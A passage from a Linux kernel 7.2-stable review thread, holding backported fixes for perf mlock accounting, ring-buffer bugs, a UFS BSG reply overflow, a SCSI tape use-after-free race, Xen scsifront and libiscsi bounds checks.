- defined(CONFIG_NET) || defined(CONFIG_IO_URING) || \
+#if defined(CONFIG_NET) || defined(CONFIG_IO_URING) || \
defined(CONFIG_VFIO_PCI_ZDEV_KVM) || IS_ENABLED(CONFIG_IOMMUFD) || \
defined(CONFIG_SECRETMEM)
- atomic_long_t locked_vm;
+ atomic_long_t locked_vm; /* pinned pages charged to RLIMIT_MEMLOCK */
+#endif
+#ifdef CONFIG_PERF_EVENTS
+ atomic_long_t perf_mlock; /* perf buffer pages within perf_event_mlock_kb */
#endif
#ifdef CONFIG_WATCH_QUEUE
atomic_t nr_watches; /* The number of watches this user currently has */
--- a/kernel/events/core.c
+++ b/kernel/events/core.c
@@ -7059,7 +7059,7 @@ static void perf_mmap_close(struct vm_ar
perf_pmu_output_stop(event);
/* now it's safe to free the pages */
- atomic_long_sub(rb->aux_nr_pages - rb->aux_mmap_locked, &mmap_user->locked_vm);
+ atomic_long_sub(rb->aux_nr_pages - rb->aux_mmap_locked, &mmap_user->perf_mlock);
atomic64_sub(rb->aux_mmap_locked, &vma->vm_mm->pinned_vm);
/* this has to be the last one */
@@ -7241,11 +7241,11 @@ static bool perf_mmap_calc_limits(struct
/* Increase the limit linearly with more CPUs */
user_lock_limit *= num_online_cpus();
- user_locked = atomic_long_read(&user->locked_vm);
+ user_locked = atomic_long_read(&user->perf_mlock);
/*
* sysctl_perf_event_mlock may have changed, so that
- * user->locked_vm > user_lock_limit
+ * user->perf_mlock > user_lock_limit
*/
if (user_locked > user_lock_limit)
user_locked = user_lock_limit;
@@ -7253,7 +7253,7 @@ static bool perf_mmap_calc_limits(struct
if (user_locked > user_lock_limit) {
/*
- * charge locked_vm until it hits user_lock_limit;
+ * charge perf_mlock until it hits user_lock_limit;
* charge the rest from pinned_vm
*/
*extra = user_locked - user_lock_limit;
@@ -7271,7 +7271,7 @@ static void perf_mmap_account(struct vm_
{
struct user_struct *user = current_user();
- atomic_long_add(user_extra, &user->locked_vm);
+ atomic_long_add(user_extra, &user->perf_mlock);
atomic64_add(extra, &vma->vm_mm->pinned_vm);
}
@@ -7280,7 +7280,7 @@ static void perf_mmap_unaccount(struct v
struct user_struct *user = rb->mmap_user;
atomic_long_sub((perf_data_size(rb) >> PAGE_SHIFT) + 1 - rb->mmap_locked,
- &user->locked_vm);
+ &user->perf_mlock);
atomic64_sub(rb->mmap_locked, &vma->vm_mm->pinned_vm);
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 140/242] perf: Update cgroup time when rotating multiplexed events
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (136 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 139/242] perf: Track the perf mlock gift separately Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 141/242] ring-buffer: Do not show buffer_meta for CPUs without a buffer Greg Kroah-Hartman
` (103 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Antoine Huret,
Peter Zijlstra (Intel)
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Antoine Huret <antoine.huret@bull.com>
commit e4c7c401c6b9174c0c893084fdaa6a84bd2520d7 upstream.
Since commit bd2756811766 ("perf: Rewrite core context handling"),
perf_rotate_context() only updates the context time before scheduling
out the flexible events. It no longer updates the cgroup time, which
ctx_sched_out() used to do.
Cgroup events take their times from the per-cpu cgroup clock, so
between two cgroup switches the rotations see a frozen clock. The
events rotated out lose the running time they accumulated, and the next
update, usually a read, credits the whole interval to the events that
happen to be on the PMU at that moment.
As a result, the time_running of multiplexed cgroup events is wrong,
and so are their scaled counts, as long as no other cgroup runs on the
CPU, e.g. a busy job alone on its CPUs. Counting cycles over one second
of a busy loop in a cgroup gives from half to several times the max
frequency of the CPU.
Update the cgroup time before rotating the CPU context, as was done
before the rewrite.
Fixes: bd2756811766 ("perf: Rewrite core context handling")
Closes: https://lore.kernel.org/r/PR3PR07MB69223331EED5BEBE150375B7849C2@PR3PR07MB6922.eurprd07.prod.outlook.com/
Assisted-by: Claude:claude-opus-5-5
Signed-off-by: Antoine Huret <antoine.huret@bull.com>
Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20261015-perf-cgroup-rotation-time-v1-1-93e177dfee5d@bull.com
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/events/core.c | 1 +
1 file changed, 1 insertion(+)
--- a/kernel/events/core.c
+++ b/kernel/events/core.c
@@ -4639,6 +4639,7 @@ static bool perf_rotate_context(struct p
if (cpu_event) {
update_context_time(&cpuctx->ctx);
+ update_cgrp_time_from_cpuctx(cpuctx, false);
__pmu_ctx_sched_out(cpu_epc, EVENT_FLEXIBLE);
rotate_ctx(&cpuctx->ctx, cpu_event);
__pmu_ctx_sched_in(cpu_epc, EVENT_FLEXIBLE);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 141/242] ring-buffer: Do not show buffer_meta for CPUs without a buffer
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (137 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 140/242] perf: Update cgroup time when rotating multiplexed events Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 142/242] ring-buffer: Fix the sub-buffer array base in rb_meta_subbuf_idx() Greg Kroah-Hartman
` (102 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Sashiko, David Carlier,
Steven Rostedt
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Carlier <devnexen@gmail.com>
commit 3f23cae09a4677a3f7c163a68388512cb231ff22 upstream.
The per_cpu/cpuN/buffer_meta files are created for every possible CPU,
but buffer->buffers[cpu] is only allocated once that CPU comes online.
Reading the file of a CPU that never came online dereferences a NULL
cpu_buffer in rbm_start().
Fail the open with -ENODEV when the CPU has no buffer, as the other
per CPU ring buffer interfaces do.
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20260914133506.4865-3-devnexen@gmail.com
Fixes: 950032ffcee7 ("ring-buffer: Add output of ring buffer meta page")
Reported-by: Sashiko <sashiko-bot@kernel.org>
Closes: https://lore.kernel.org/all/20260913134906.6E8A01F000FF@smtp.kernel.org/
Signed-off-by: David Carlier <devnexen@gmail.com>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/ring_buffer.c | 3 +++
1 file changed, 3 insertions(+)
--- a/kernel/trace/ring_buffer.c
+++ b/kernel/trace/ring_buffer.c
@@ -2362,6 +2362,9 @@ int ring_buffer_meta_seq_init(struct fil
struct seq_file *m;
int ret;
+ if (!cpumask_test_cpu(cpu, buffer->cpumask))
+ return -ENODEV;
+
ret = seq_open(file, &rb_meta_seq_ops);
if (ret)
return ret;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 142/242] ring-buffer: Fix the sub-buffer array base in rb_meta_subbuf_idx()
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (138 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 141/242] ring-buffer: Do not show buffer_meta for CPUs without a buffer Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 143/242] ring-buffer: Fix false warning in ring_buffer_map_get_reader() Greg Kroah-Hartman
` (101 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Donggeun Yoo, Vincent Donnefort,
Masami Hiramatsu (Google), Steven Rostedt
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Donggeun Yoo <donggeunyoo.kernel@gmail.com>
commit 25132363c723afc39aace8b098f547ab4a0ea759 upstream.
On a persistent ring buffer, rb_meta_subbuf_idx() can return an index one
sub-buffer too high. rb_setup_ids_meta_page() then fills subbuf_ids[]
shifted by one and leaves subbuf_ids[0] NULL, which __rb_map_vma()
dereferences when userspace maps trace_pipe_raw. rb_update_meta_reader()
writes two such indices into meta->buffers[], which rb_cpu_meta_valid()
would reject on the next boot, discarding the previous boot's trace.
A CPU's sub-buffer array starts after its meta header and the nr_subbufs
integers that follow, aligned up to a sub-buffer. rb_meta_subbuf_idx()
inverts that calculation but skips only the integers, not the header, so
its base is one sub-buffer low whenever the omitted header size crosses
the alignment boundary.
Invert the calculation with rb_subbufs_from_meta() rather than repeating
it. rb_range_buffer() maps an index back to an address through the same
helper, so the two directions can no longer disagree.
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20260918071507.1019251-1-donggeunyoo.kernel@gmail.com
Fixes: b14d032973d4 ("ring-buffer: Add ring_buffer_meta data")
Signed-off-by: Donggeun Yoo <donggeunyoo.kernel@gmail.com>
Reviewed-by: Vincent Donnefort <vdonnefort@google.com>
Acked-by: Masami Hiramatsu (Google) <mhiramat@kernel.org>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/ring_buffer.c | 4 +---
1 file changed, 1 insertion(+), 3 deletions(-)
--- a/kernel/trace/ring_buffer.c
+++ b/kernel/trace/ring_buffer.c
@@ -3616,10 +3616,8 @@ static void rb_inc_iter(struct ring_buff
/* Return the index into the sub-buffers for a given sub-buffer */
static int rb_meta_subbuf_idx(struct ring_buffer_cpu_meta *meta, void *subbuf)
{
- void *subbuf_array;
+ void *subbuf_array = rb_subbufs_from_meta(meta);
- subbuf_array = (void *)meta + sizeof(int) * meta->nr_subbufs;
- subbuf_array = (void *)ALIGN((unsigned long)subbuf_array, meta->subbuf_size);
return (subbuf - subbuf_array) / meta->subbuf_size;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 143/242] ring-buffer: Fix false warning in ring_buffer_map_get_reader()
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (139 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 142/242] ring-buffer: Fix the sub-buffer array base in rb_meta_subbuf_idx() Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 144/242] scsi: bsg: Pass reply_len to bsg_setup_queue() to fit UFS ARPMB replies Greg Kroah-Hartman
` (100 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, syzbot+de3d7f9bcc9212f3fae1,
Krystian Kaniewski, Vincent Donnefort, Steven Rostedt
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Krystian Kaniewski <krystianmkaniewski@gmail.com>
commit 89bab1dba8a0167ef0d819e0f55b6bafa038e87f upstream.
The mmap reader can warn when it catches up with a writer that is still
committing events. rb_get_reader_page() returns NULL in this case, but
ring_buffer_map_get_reader() treats that result as an error.
The initial rb_per_cpu_empty() check filters out an empty buffer, but it
does not guarantee that the next reader page has committed data. Writers
do not take reader_lock and can advance commit_page before publishing the
committed length on the new page. rb_get_reader_page() can swap to that
page, catch up with the writer and return NULL.
Handle NULL through the existing no-data exit without warning. Remove the
caller's reader_page == commit_page check as well, since the reader-page
helper already handles that case. The existing metadata update and return
path remain in place.
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20260924084946.20104-1-krystianmkaniewski@gmail.com
Fixes: 117c39200d9d ("ring-buffer: Introducing ring-buffer mapping functions")
Assisted-by: Gemini:gemini-3.8-flash syzbot
Reported-by: syzbot+de3d7f9bcc9212f3fae1@syzkaller.appspotmail.com
Closes: https://syzkaller.appspot.com/bug?extid=de3d7f9bcc9212f3fae1
Link: https://syzkaller.appspot.com/ai_job?id=488adc18-a10e-42d2-a205-25327c38837f
Signed-off-by: Krystian Kaniewski <krystianmkaniewski@gmail.com>
Reviewed-by: Vincent Donnefort <vdonnefort@google.com>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/ring_buffer.c | 6 +-----
1 file changed, 1 insertion(+), 5 deletions(-)
--- a/kernel/trace/ring_buffer.c
+++ b/kernel/trace/ring_buffer.c
@@ -7982,12 +7982,8 @@ consume:
goto out;
}
- /* Did the reader catch up with the writer? */
- if (cpu_buffer->reader_page == cpu_buffer->commit_page)
- goto out;
-
reader = rb_get_reader_page(cpu_buffer);
- if (WARN_ON(!reader))
+ if (!reader)
goto out;
/* Check if any events were dropped */
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 144/242] scsi: bsg: Pass reply_len to bsg_setup_queue() to fit UFS ARPMB replies
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (140 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 143/242] ring-buffer: Fix false warning in ring_buffer_map_get_reader() Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 145/242] scsi: st: Fix use-after-free race between st_remove() and st_open() Greg Kroah-Hartman
` (99 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Stanley Jhu,
Martin K. Petersen (Oracle)
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Stanley Jhu <stanleyjhu@google.com>
commit ec6b083915e8146e147314a5f4f1285d07b57bfc upstream.
bsg-lib allocates a 96-byte (SCSI_SENSE_BUFFERSIZE) reply buffer per
job, but struct ufs_rpmb_reply is 104 bytes: a 40-byte struct
ufs_bsg_reply followed by a 64-byte EHS. When an Advanced RPMB command
returns an EHS, ufshcd_advanced_rpmb_req_handler() copies it right after
the 40-byte header and writes 8 bytes past the end of the buffer.
Let each BSG transport pass its reply buffer size to bsg_setup_queue()
and have ufs_bsg request sizeof(struct ufs_rpmb_reply), so the full
reply reaches user space. Other transports keep SCSI_SENSE_BUFFERSIZE.
Fixes: 6ff265fc5ef6 ("scsi: ufs: core: bsg: Add advanced RPMB support in ufs_bsg")
Cc: stable@vger.kernel.org
Signed-off-by: Stanley Jhu <stanleyjhu@google.com>
Link: https://patch.msgid.link/20261013132708.1669415-1-stanleyjhu@google.com
Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
block/bsg-lib.c | 13 ++++++++++---
drivers/scsi/mpi3mr/mpi3mr_app.c | 2 +-
drivers/scsi/scsi_transport_fc.c | 6 ++++--
drivers/scsi/scsi_transport_iscsi.c | 2 +-
drivers/scsi/scsi_transport_sas.c | 6 ++++--
drivers/ufs/core/ufs_bsg.c | 2 +-
include/linux/bsg-lib.h | 3 ++-
7 files changed, 23 insertions(+), 11 deletions(-)
--- a/block/bsg-lib.c
+++ b/block/bsg-lib.c
@@ -23,11 +23,14 @@ struct bsg_set {
struct bsg_device *bd;
bsg_job_fn *job_fn;
bsg_timeout_fn *timeout_fn;
+ unsigned int reply_len;
};
static int bsg_transport_sg_io_fn(struct request_queue *q, struct sg_io_v4 *hdr,
bool open_for_write, unsigned int timeout)
{
+ struct bsg_set *bset =
+ container_of(q->tag_set, struct bsg_set, tag_set);
struct bsg_job *job;
struct request *rq;
struct bio *bio;
@@ -50,7 +53,7 @@ static int bsg_transport_sg_io_fn(struct
reply = job->reply;
memset(job, 0, sizeof(*job));
job->reply = reply;
- job->reply_len = SCSI_SENSE_BUFFERSIZE;
+ job->reply_len = bset->reply_len;
job->dd_data = job + 1;
job->request_len = hdr->request_len;
@@ -301,9 +304,10 @@ out:
static int bsg_init_rq(struct blk_mq_tag_set *set, struct request *req,
unsigned int hctx_idx, int numa_node)
{
+ struct bsg_set *bset = container_of(set, struct bsg_set, tag_set);
struct bsg_job *job = blk_mq_rq_to_pdu(req);
- job->reply = kzalloc(SCSI_SENSE_BUFFERSIZE, GFP_KERNEL);
+ job->reply = kzalloc(bset->reply_len, GFP_KERNEL);
if (!job->reply)
return -ENOMEM;
return 0;
@@ -358,10 +362,12 @@ static const struct blk_mq_ops bsg_mq_op
* @job_fn: bsg job handler
* @timeout: timeout handler function pointer
* @dd_job_size: size of LLD data needed for each job
+ * @reply_len: size of the reply buffer needed for each job
*/
struct request_queue *bsg_setup_queue(struct device *dev, const char *name,
struct queue_limits *lim, bsg_job_fn *job_fn,
- bsg_timeout_fn *timeout, int dd_job_size)
+ bsg_timeout_fn *timeout, int dd_job_size,
+ unsigned int reply_len)
{
struct bsg_set *bset;
struct blk_mq_tag_set *set;
@@ -374,6 +380,7 @@ struct request_queue *bsg_setup_queue(st
bset->job_fn = job_fn;
bset->timeout_fn = timeout;
+ bset->reply_len = reply_len;
set = &bset->tag_set;
set->ops = &bsg_mq_ops;
--- a/drivers/scsi/mpi3mr/mpi3mr_app.c
+++ b/drivers/scsi/mpi3mr/mpi3mr_app.c
@@ -3053,7 +3053,7 @@ void mpi3mr_bsg_init(struct mpi3mr_ioc *
}
q = bsg_setup_queue(bsg_dev, dev_name(bsg_dev), &lim,
- mpi3mr_bsg_request, NULL, 0);
+ mpi3mr_bsg_request, NULL, 0, SCSI_SENSE_BUFFERSIZE);
if (IS_ERR(q)) {
ioc_err(mrioc, "%s: bsg registration failed\n",
dev_name(bsg_dev));
--- a/drivers/scsi/scsi_transport_fc.c
+++ b/drivers/scsi/scsi_transport_fc.c
@@ -4345,7 +4345,8 @@ fc_bsg_hostadd(struct Scsi_Host *shost,
scsi_init_limits(shost, &lim);
lim.max_segments = min_not_zero(lim.max_segments, i->f->max_bsg_segments);
q = bsg_setup_queue(dev, bsg_name, &lim, fc_bsg_dispatch,
- fc_bsg_job_timeout, i->f->dd_bsg_size);
+ fc_bsg_job_timeout, i->f->dd_bsg_size,
+ SCSI_SENSE_BUFFERSIZE);
if (IS_ERR(q)) {
dev_err(dev,
"fc_host%d: bsg interface failed to initialize - setup queue\n",
@@ -4378,7 +4379,8 @@ fc_bsg_rportadd(struct Scsi_Host *shost,
scsi_init_limits(shost, &lim);
lim.max_segments = min_not_zero(lim.max_segments, i->f->max_bsg_segments);
q = bsg_setup_queue(dev, dev_name(dev), &lim, fc_bsg_dispatch_prep,
- fc_bsg_job_timeout, i->f->dd_bsg_size);
+ fc_bsg_job_timeout, i->f->dd_bsg_size,
+ SCSI_SENSE_BUFFERSIZE);
if (IS_ERR(q)) {
dev_err(dev, "failed to setup bsg queue\n");
return PTR_ERR(q);
--- a/drivers/scsi/scsi_transport_iscsi.c
+++ b/drivers/scsi/scsi_transport_iscsi.c
@@ -1545,7 +1545,7 @@ iscsi_bsg_host_add(struct Scsi_Host *sho
snprintf(bsg_name, sizeof(bsg_name), "iscsi_host%d", shost->host_no);
scsi_init_limits(shost, &lim);
q = bsg_setup_queue(dev, bsg_name, &lim, iscsi_bsg_host_dispatch, NULL,
- 0);
+ 0, SCSI_SENSE_BUFFERSIZE);
if (IS_ERR(q)) {
shost_printk(KERN_ERR, shost, "bsg interface failed to "
"initialize - no request queue\n");
--- a/drivers/scsi/scsi_transport_sas.c
+++ b/drivers/scsi/scsi_transport_sas.c
@@ -199,7 +199,8 @@ static int sas_bsg_initialize(struct Scs
if (rphy) {
q = bsg_setup_queue(&rphy->dev, dev_name(&rphy->dev), NULL,
- sas_smp_dispatch, NULL, 0);
+ sas_smp_dispatch, NULL, 0,
+ SCSI_SENSE_BUFFERSIZE);
if (IS_ERR(q))
return PTR_ERR(q);
rphy->q = q;
@@ -208,7 +209,8 @@ static int sas_bsg_initialize(struct Scs
snprintf(name, sizeof(name), "sas_host%d", shost->host_no);
q = bsg_setup_queue(&shost->shost_gendev, name, NULL,
- sas_smp_dispatch, NULL, 0);
+ sas_smp_dispatch, NULL, 0,
+ SCSI_SENSE_BUFFERSIZE);
if (IS_ERR(q))
return PTR_ERR(q);
to_sas_host_attrs(shost)->q = q;
--- a/drivers/ufs/core/ufs_bsg.c
+++ b/drivers/ufs/core/ufs_bsg.c
@@ -257,7 +257,7 @@ int ufs_bsg_probe(struct ufs_hba *hba)
goto out;
q = bsg_setup_queue(bsg_dev, dev_name(bsg_dev), NULL, ufs_bsg_request,
- NULL, 0);
+ NULL, 0, sizeof(struct ufs_rpmb_reply));
if (IS_ERR(q)) {
ret = PTR_ERR(q);
device_del(bsg_dev);
--- a/include/linux/bsg-lib.h
+++ b/include/linux/bsg-lib.h
@@ -66,7 +66,8 @@ void bsg_job_done(struct bsg_job *job, i
unsigned int reply_payload_rcv_len);
struct request_queue *bsg_setup_queue(struct device *dev, const char *name,
struct queue_limits *lim, bsg_job_fn *job_fn,
- bsg_timeout_fn *timeout, int dd_job_size);
+ bsg_timeout_fn *timeout, int dd_job_size,
+ unsigned int reply_len);
void bsg_remove_queue(struct request_queue *q);
void bsg_job_put(struct bsg_job *job);
int __must_check bsg_job_get(struct bsg_job *job);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 145/242] scsi: st: Fix use-after-free race between st_remove() and st_open()
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (141 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 144/242] scsi: bsg: Pass reply_len to bsg_setup_queue() to fit UFS ARPMB replies Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 146/242] scsi: xen/scsifront: Check for a NULL shadow entry on a backend response Greg Kroah-Hartman
` (98 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Dingisoul, Laurence Oberman,
Martin K. Petersen (Oracle)
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Laurence Oberman <loberman@redhat.com>
commit 71caf7f84bd62a4bf91cc95abd2de690afb8d15f upstream.
st_remove() drops the probe reference on the scsi_tape with kref_put()
and only afterwards removes its index from st_index_idr. If that was the
last reference, scsi_tape_release() frees the structure while it is
still published in the idr.
scsi_tape_get(), called from st_open(), looks up the tape in
st_index_idr and takes a reference under st_ref_mutex and
st_index_lock. remove_cdevs() does not wait for opens that are already
past chrdev_open(), so an open that is blocked on st_ref_mutex while
st_remove() holds it can take the mutex as soon as st_remove() drops it,
find the freed tpnt in the idr and call kref_get() on it:
BUG: KASAN: slab-use-after-free in st_open
Write of size 4 ...
st_open (drivers/scsi/st.c:254 drivers/scsi/st.c:1291)
chrdev_open
...
Freed by task ...:
kfree
st_remove (drivers/scsi/st.c:4512)
Remove the index from the idr before dropping the reference, all under
st_ref_mutex. A concurrent scsi_tape_get() now either runs first and
holds a valid reference that keeps the tape alive, or runs afterwards
and finds nothing, so st_open() fails with -ENXIO.
This restores the ordering st_remove() had before the conversion to
st_index_idr, where the tape was unpublished from scsi_tapes[] before
the final kref_put().
Fixes: 6c648d95a6af ("[SCSI] st: get rid of scsi_tapes array")
Cc: stable@vger.kernel.org
Reported-by: Dingisoul <dingiso.kernel@gmail.com>
Closes: https://lore.kernel.org/linux-scsi/20261007211520.1428497-1-dingiso.kernel@gmail.com/
Tested-by: Dingisoul <dingiso.kernel@gmail.com>
Signed-off-by: Laurence Oberman <loberman@redhat.com>
Link: https://patch.msgid.link/20261013202548.249628-1-loberman@redhat.com
Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/scsi/st.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
--- a/drivers/scsi/st.c
+++ b/drivers/scsi/st.c
@@ -4515,11 +4515,11 @@ static void st_remove(struct scsi_device
remove_cdevs(tpnt);
mutex_lock(&st_ref_mutex);
- kref_put(&tpnt->kref, scsi_tape_release);
- mutex_unlock(&st_ref_mutex);
spin_lock(&st_index_lock);
idr_remove(&st_index_idr, index);
spin_unlock(&st_index_lock);
+ kref_put(&tpnt->kref, scsi_tape_release);
+ mutex_unlock(&st_ref_mutex);
}
/**
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 146/242] scsi: xen/scsifront: Check for a NULL shadow entry on a backend response
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (142 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 145/242] scsi: st: Fix use-after-free race between st_remove() and st_open() Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 147/242] scsi: libiscsi: Reject a negative task index from parse_pdu_itt Greg Kroah-Hartman
` (97 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Yehyeong Lee, Juergen Gross,
Martin K. Petersen (Oracle)
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
commit 8c8222c255772713eb36cde695777a1fce224917 upstream.
scsifront_do_response() validates the rqid in a backend response against
VSCSIIF_MAX_REQS before using it to index info->shadow[], but then
dereferences the entry to test ->inflight without checking that the slot
is populated. Shadow slots are NULL before a command is submitted (the
host private area is zeroed at allocation) and are reset to NULL in
_scsifront_put_rqid() once a request completes, so an in-range rqid that
does not correspond to an outstanding request makes the frontend
dereference a NULL pointer.
A malicious or buggy backend can thus crash the guest by returning a
response whose rqid is in range but not in flight -- for example a
spurious response before any command has been issued, or a duplicate of
one already completed. The ring has only VSCSIIF_MAX_REQS (16) slots,
so before the first command every in-range rqid selects a NULL slot.
Reject a response whose shadow slot is not populated.
Fixes: 6d1c2f48f3fc ("xen/scsifront: harden driver against malicious backend")
Cc: stable@vger.kernel.org
Signed-off-by: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
Reviewed-by: Juergen Gross <jgross@suse.com>
Link: https://patch.msgid.link/20261005123555.253995-1-yhlee@isslab.korea.ac.kr
Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/scsi/xen-scsifront.c | 1 +
1 file changed, 1 insertion(+)
--- a/drivers/scsi/xen-scsifront.c
+++ b/drivers/scsi/xen-scsifront.c
@@ -367,6 +367,7 @@ static void scsifront_do_response(struct
struct vscsifrnt_shadow *shadow;
if (ring_rsp->rqid >= VSCSIIF_MAX_REQS ||
+ !info->shadow[ring_rsp->rqid] ||
!info->shadow[ring_rsp->rqid]->inflight) {
scsifront_set_error(info, "illegal rqid returned by backend!");
return;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 147/242] scsi: libiscsi: Reject a negative task index from parse_pdu_itt
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (143 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 146/242] scsi: xen/scsifront: Check for a NULL shadow entry on a backend response Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 148/242] scsi: libiscsi: Validate the ITT reflected in a Reject PDU Greg Kroah-Hartman
` (96 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Mike Christie, Yehyeong Lee,
Martin K. Petersen (Oracle)
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
commit 8ee2a09a1dbb257c9e828ad2497f8e4832dfb142 upstream.
A transport that implements parse_pdu_itt hands libiscsi an index taken
from the PDU, and both lookups bound it from above only:
if (i >= session->cmds_max)
i and cmds_max are both int, so a negative index passes and
session->cmds[i] is read from before the array.
be2iscsi produces one. beiscsi_parse_pdu() assigns the raw tag,
*index = (int)itt;
and beiscsi_complete_pdu() forwards an unsolicited NOP-In from the
hardware async ring without replacing its ITT, so the value is the
target's. It also reports the session's own age rather than the one in
the tag, which leaves the age comparison in iscsi_verify_itt() with
nothing to reject.
Bound the index from below in both lookups.
Fixes: bfead3b2cb46 ("[SCSI] be2iscsi: Adding msix and mcc_rings V3")
Cc: stable@vger.kernel.org
Reviewed-by: Mike Christie <michael.christie@oracle.com>
Signed-off-by: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
Link: https://patch.msgid.link/20261007015842.634893-2-yhlee@isslab.korea.ac.kr
Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/scsi/libiscsi.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
--- a/drivers/scsi/libiscsi.c
+++ b/drivers/scsi/libiscsi.c
@@ -1191,7 +1191,7 @@ struct iscsi_task *iscsi_itt_to_task(str
